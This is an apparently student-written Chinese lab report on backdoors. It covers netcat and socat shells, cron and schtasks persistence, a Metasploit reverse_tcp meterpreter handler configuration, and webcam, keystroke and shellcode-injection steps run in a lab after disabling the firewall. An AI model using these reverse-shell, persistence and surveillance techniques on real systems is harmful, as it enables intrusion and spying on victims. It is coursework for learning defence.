1.实验内容
![img](https://img-community.csdnimg.cn/images/e20806ddd7714651be84e4a1e1e25186.png)
1.2实验问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
恶意软件可能会伪装成合法软件的附件,比如某些免费的应用程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:在注册表中设置开机自启
linux:通过crontab功能设置任务定时启动,对正常程序注入shellcode使其连带启动
(3)Meterpreter有哪些给你映像深刻的功能?
获取目标主机摄像头、截屏等功能
(4)如何发现自己有系统有没有被安装后门?
可以通过监控网络活动并查看是否有大量的数据流量发送到未知的IP地址
2.实验过程
2.1 windows下使用netcat获取kali的Shell,用cron命令启动某项任务
- windows需要从从附件工具上下载ncat.rar后解压,kali直接执行nc命令后提示下载,windows和linux进入ncat.exe所在的目录后执行图示代码,windows成功获取linux的shell
![img](https://img-community.csdnimg.cn/images/9c31f091b6ae4759937bb133b11a60cb.png)
![img](https://img-community.csdnimg.cn/images/2914c8ff083847dca7cf24de010db457.png)
- 用cron命令启动某项任务,首先进入root(我是直接使用root权限连接的),接着在Windows输入命令crontab -e,可以看到一堆乱码,在kali的/var/spool/cron/crontabs/目录下可以看到文件(我将crontabs文件的权限更改了,所以可以直接进去)
![img](https://img-community.csdnimg.cn/images/0416196485ce49358aef82b547ede3c4.png)
![img](https://img-community.csdnimg.cn/images/075e889e46064a5e8c6b8f8b0529e92c.png)
- 之后运行echo “* * * * * * echo “2314” >> /home/kali/sy2/20212314ys2.txt” >> /var/spool/cron/crontabs/root该命令,在crontabs下的用户任务文件里添加一项任务,并通过crontab -l查询任务内容,可以看到任务添加成功
![img](https://img-community.csdnimg.cn/images/852ab0f10a41446db08076d5ad90a3ae.png)
![img](https://img-community.csdnimg.cn/images/02b4c4b92e58453389fd031b51d02e01.png)
2.2 kali下使用socat获取windows的Shell, 用schtasks命令创建并启动某项任务计划
- 在实验开始前需要将防火墙和Windows安全中心关闭
![img](https://img-community.csdnimg.cn/images/137d13ba2a1a4d8c9d2702a1c3870633.png)
- 接着使用socat获取windows的Shell,如图获取成功
![img](https://img-community.csdnimg.cn/images/a192afa909924a38866f1f116df745ba.png)
![img](https://img-community.csdnimg.cn/images/eab6b2daf41245e8ace958895267ee67.png)
- 用schtasks命令创建并启动某项任务计划,下面是我的C语言代码,向D:\20212314.txt中写入20212314ydb!
![img](https://img-community.csdnimg.cn/images/9f45a860997b4b2483885c52645e87b1.png)
- 通过输入schtasks命令创建一个名为“Test20212314”的任务,每隔一分钟就会执行上述程序,通过windows可以查看到它的任务计划
schtasks /create /sc minute /mo 1 /tn “Test20212314” /tr D:\studys\Ccode\Cstart\homework\test1.exe
![img](https://img-community.csdnimg.cn/images/fd3205e52d124d6ba8548c15ee0a169e.png)
![img](https://img-community.csdnimg.cn/images/afbbdc440eb243cb9e1edc010791acf2.png)
2.3 使用MSF meterpreter生成后门文件,利用ncat或socat传送到主机并运行,获取主机Shell
![img](https://img-community.csdnimg.cn/images/b9947c66cdec45ee95bc985db06fdced.png)
![img](https://img-community.csdnimg.cn/images/5b6c322e1cc8478c9d99f4fc919b2395.png)
![img](https://img-community.csdnimg.cn/images/2aaf4c9320554fcfbc7365b5213cffbf.png)
- 使用MSF meterpreter生成后门文件,并利用ncat或socat将后门文件传送到主机
![img](https://img-community.csdnimg.cn/images/c0864a142e594cc585307520c7e61378.png)
![img](https://img-community.csdnimg.cn/images/2de299f73b6647b2bf36af5398f7d2ed.png)
![img](https://img-community.csdnimg.cn/images/25288aa266094983813ffd1c6b16b770.png)
msfconsole //进入MSF控制台
use exploit/multi/handler //使用监听模块
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.246.130 //和之前生成后门程序时设置的kali的IP相同
set LPORT 2314 //和之前生成后门程序时设置的端口相同
show options //显示参数配置情况,检查参数是否正确设置
exploit //开启监听
![img](https://img-community.csdnimg.cn/images/388497bd417846bfa98598f45f3e25c0.png)
![img](https://img-community.csdnimg.cn/images/bd4570c7c4174276b83c0693a75954c9.png)
- kali保持监听,windows start 20212314_backdoor.exe,成功获取shell
![img](https://img-community.csdnimg.cn/images/204ab37bdd734e17ae1853af5ff05da8.png)
![img](https://img-community.csdnimg.cn/images/5106fa1f77704cff9992c73e0a3805e9.png)
2.4 使用MSF meterpreter生成后门文件,获取目标主机音频、摄像头、击键记录等内容,并尝试提权
![img](https://img-community.csdnimg.cn/images/6930763965954158b5eb08d9ffe09443.png)
![img](https://img-community.csdnimg.cn/images/7b579dee9d784ef8ab2c0fe524bf7c2f.png)
![img](https://img-community.csdnimg.cn/images/36c3cbdbc0e64c139e302730a26cb97c.png)
![img](https://img-community.csdnimg.cn/images/e1b714f2c63344f29b2271fa61c79a0c.png)
![img](https://img-community.csdnimg.cn/images/069525d9b539488dacccada10b58c0cd.png)
![img](https://img-community.csdnimg.cn/images/f7e052876e2b4ca5b4317b8b329d99a3.png)
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 使用MSF生成shellcode,在Linux将获取shell的攻击代码写入pwn1,最终生成一个20212314pwn文件
![img](https://img-community.csdnimg.cn/images/0c95559b77d5432e8ce84792ed0c8986.png)
![img](https://img-community.csdnimg.cn/images/172691702a70440c8aff86c332aa6e5d.png)
- 在kali中打开另一个终端,进行监听操作,成功获取shell,之后在开始的终端中执行20212314pwn,可以看到成功获取了shell
![img](https://img-community.csdnimg.cn/images/cde786dd69c64f2da0fccdcdbfa65ebe.png)
3.问题及解决方案
- crontab -e无法编辑任务内容,使用echo代码也无法创建文件。解决方式是直接先写入代码
![img](https://img-community.csdnimg.cn/images/581d5cef9a6b4b438da4962530f72483.png)
4.学习感悟、思考
这次实验开始接触netcat、socat和MSF这些工具的使用,实验开始得比较晚,有不少同学的实验报告去借鉴,出现的很多错误也多大能找到相应的解决方式。这次实验给我带来的收获有很多,尤其是黑客的体验,攻击的同时也让我提高了警惕心理。此外,本次实验我还了解了一些免杀技术,例如使用msfvenom生成后门代码、使用socat绕过检测等。
5.参考资料